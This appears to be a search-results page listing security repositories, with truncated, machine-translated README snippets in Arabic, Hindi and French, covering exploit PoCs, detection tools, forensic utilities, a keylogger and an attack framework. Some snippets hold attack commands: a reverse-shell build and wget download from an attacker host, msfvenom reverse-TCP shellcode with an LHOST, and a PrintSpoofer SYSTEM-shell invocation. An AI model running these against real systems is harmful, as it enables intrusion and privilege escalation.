249611 matches found
CVE-2024-31771
CVE-2024-31771 كتابة ملف تعسفي في TotalAV إصدار TotalAV 6.0.x https://github.com/restdone/CVE-2024-31771/assets/42227817/ffe0c2ec-4ea6-4c29-852f-456b2e62f5b1 الجدول الزمني: 13 فبراير 2024 : اكتشفت أن الإصدار 6.0.740 معرّض للخطر وأبلغت TotalAV. 15 فبراير 2024: أكدت TotalAV المشكلة وتمكنت من تكراره...
zeek-quasarrat-detector
كاشف برمجية QuasarRAT الخبيثة المبني على Zeek غالبًا ما تُخفي البرمجيات الخبيثة اتصالاتها مع خادم القيادة والتحكم C2 الخاص بها عبر HTTPS. وعادةً ما يُخفي التشفير في HTTPS الاختراق لفترة كافية لتحقيق البرمجية الخبيثة هدفها. وهذا يجعل اكتشاف البرمجيات الخبيثة التي تستخدم HTTPS أمرًا صعبًا، ولكن بين...
IRTriage
घटना प्रतिक्रिया ट्राएज: फोरेंसिक विश्लेषक के लिए मूल्यवान सिस्टम जानकारी का स्क्रिप्टेड संग्रह। IRTriage स्वचालित रूप से WinXP को छोड़कर सभी Windows संस्करणों में "व्यवस्थापक के रूप में चलाएं" चलेगा। मूल स्रोत Triage-ir v0.851 था जो Michael Ahrendt द्वारा लिखित एक Autoit स्क्रिप्ट था। दुर्भाग्य ...
dpapi-toolkit
DPAPI-toolkit مجموعة أدوات دون اتصال لأدلة Windows DPAPI. تجمع الملفات، وتوجّه الأداة نحو أحد الآثار، فتتعرّف على التنسيق وتخبرك بالضبط أي مفتاح رئيسي تحتاجه؛ أنت توفّر مادة المفتاح فتقوم الأداة بفك التشفير. معظم أدوات DPAPI هي سكربت واحد لكل تنسيق، أو ميزة مدفونة داخل إطار عمل هجومي أكبر. هذه أد...
CVE-2021-40449
CVE-2021-40449 CVE-2021-40449 के लिए मेरा exploit, जो win32kfull!GreResetDCInternal में UAF के माध्यम से एक Windows LPE है। संक्षिप्त wu UAF भेद्यता के साथ-साथ इस exploit को संभव बनाने के लिए अन्य प्रिमिटिव का उपयोग किया जा रहा है: SystemHandleInformation पैरामीटर के साथ NtQuerySystemInformation...
CVE-2025-27210_NodeJS_Path_Traversal_Exploit
CVE-2025-27210NodeJSPathTraversalExploiter إثبات المفهوم لـ CVE-2025-27210، وهي ثغرة Path Traversal دقيقة تؤثر على تطبيقات Node.js التي تعمل على Microsoft Windows. تستغل هذه الثغرة الطريقة المحددة التي تتعامل بها Windows مع أسماء ملفات الأجهزة المحجوزة مثل: AUX, CON, NUL عند دمجها مع تسلسلات اجتي...
DeepBlueCLI
DeepBlueCLI DeepBlueCLI - विंडोज इवेंट लॉग के माध्यम से खतरे की खोज के लिए एक PowerShell मॉड्यूल Eric Conrad, Backshore Communications, LLC deepblue at backshore dot net ट्विटर: @ericconrad http://ericconrad.com नमूना EVTX फ़ाइलें .\evtx निर्देशिका में हैं नोट यदि DeepBlueCLI डाउनलोड करने के बाद...
PrintSpoofer
PrintSpoofer ثغرة PrintSpoofer التي يمكن استخدامها لتصعيد صلاحيات مستخدم الخدمة على Windows Server 2016 وServer 2019 وWindows 10. لتصعيد الصلاحيات، يجب أن يمتلك حساب الخدمة صلاحيات SeImpersonate. للتنفيذ: PrintSpoofer.exe -i -c cmd مع الصلاحيات المناسبة، يجب أن يمنح ذلك وصولاً إلى شل مستخدم النظا...
Windows-Exploit-Suggester-Python3
Windows-Exploit-Suggester-Python3 python3 windows-exploit-suggester.py --update libreoffice --headless --convert-to xls 2021-07-15-mssb.xlsx python3 windows-exploit-suggester.py --database 2021-07-15-mssb.xls --systeminfo systeminfo.txt Exemple : nous devons donc convertir xlsx en xls...
nim-reverse-shell
nim-reverse-shell nim-reverse-shell مثال: sudo apt install nim قم بتحديث السكربت وفقًا لذلك nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim python3 -m http.server 8888 wget http://tun0:8888/spoofer-scheduler.exe -o spoofer-scheduler.exe sc.exe stop spoofer-scheduler sc.e...
MS08-067
MS08-067 | CVE-2008-4250 المرجع: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN توليد الشيلكود سنستخدم msfvenom لتوليد الشيلكود. msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b...
windows_kernel_shadow_stack
إثباتات المفاهيم يهدف هذا المشروع إلى إبراز جوانب معينة من تخفيف حماية المكدس الظل shadow stack المطبَّق من مايكروسوفت في ويندوز 11. الكود مخصص تحديدًا لإصدار ويندوز 11 24H2. قد لا يعمل على إصدارات أخرى من ويندوز 11، بسبب إدارة إزاحات النواة kernel offset management. ينقسم المشروع إلى جزأين: عميل...
keebcap
Keebcap يحتوي هذا المستودع على الكود المرتبط بهذه المقالة التي نتحدث فيها عن بناء keylogger لنظام Win32 يدعم جميع اللغات التي لا تستخدم محررات أسلوب الإدخال IME. تم إجراء جميع الاختبارات على Windows 10 22h2. شجرة الملفات . keylog code ├── capgks.c sample keylogger using GetKeyState ├── capllh.c...
Invoke-RunAsWithCert
Invoke-RunAsWithCert نص برمجي PowerShell لإجراء مصادقة PKINIT مع واجهة برمجة تطبيقات Windows من جهاز غير منضم إلى مجال. الوصف ينشئ هذا الأمر cmdlet جلسة تسجيل دخول جديدة باستخدام الشهادة المحددة عبر PKINIT. صُمم ليعمل على جهاز افتراضي غير منضم إلى مجال. يحتوي الأمر cmdlet على وضعين: وضع يضبط مفات...
FUCKER
FUCKER إطار اختبار اختراق أصلي لنظام ويندوز مكتوب بلغة Go. بنية معيارية مع محرك قرارات مدفوع بالذكاء الاصطناعي واجهة برمجة تطبيقات متوافقة مع OpenAI. البناء go build -ldflags="-X main.version=$git describe --tags" -o FUCKER.exe ./cmd/fucker/ تجميع متقاطع: GOOS=linux GOARCH=amd64 go build -o...
CVE-2026-20841
CVE-2026-20841 PoC PoC لثغرة "Windows Notepad RCE". إخلاء المسؤولية 1. أنا لستُ مكتشف هذه الثغرة. يعود الفضل إلى المؤلفين الأصليين المدرجين في صفحة الإفصاح الرسمية. لقد أعدت فقط إنشاء الـ PoC وفقًا للوصف. 2. شخصيًا، لا أعتقد أن هذه الثغرة بالخطورة التي قد تبدو عليها. يتطلب تشغيلها أكثر من نقرة...
Hijack-service-binaries
Hijack-service-binaries أداة تدقيق أمني لـ PowerShell تحدد ملفات الخدمة الثنائية في Windows التي يمكن للمستخدم الحالي تعديلها—وهو ناقل محتمل لتصعيد الامتيازات. نظرة عامة يقوم هذا السكربت بفحص جميع خدمات Windows باستثناء system32 و svchost ويتحقق مما إذا كان المستخدم الحالي يملك صلاحيات الكتابة أو...
LocalNet_Attacker
LocalNetAttacker यह एक जावा-आधारित स्थानीय नेटवर्क हमला उपकरण है। इस उपकरण का उपयोग करके आप उन लक्ष्य विंडोज सिस्टम के बारे में जानकारी प्राप्त कर सकते हैं या उन पर हमला कर सकते हैं जो आपके साथ एक ही नेटवर्क में जुड़े हैं। विशेषताएँ आईपी विवरण प्राप्त करें सिस्टम विवरण प्राप्त करें वेब हमले...
BrokenType
BrokenType BrokenType هي مجموعة من الأدوات مصمَّمة لاختبار متانة وأمان برامج تنقيط الخطوط font rasterization، ولا سيما قواعد الأكواد المعرّضة لمشاكل تلف الذاكرة المكتوبة بلغة C/C++ ولغات مشابهة. وتتكون من المكوّنات التالية: مولّد برامج TrueType - سكربت Python لتوليد برامج TrueType عشوائية لكنها...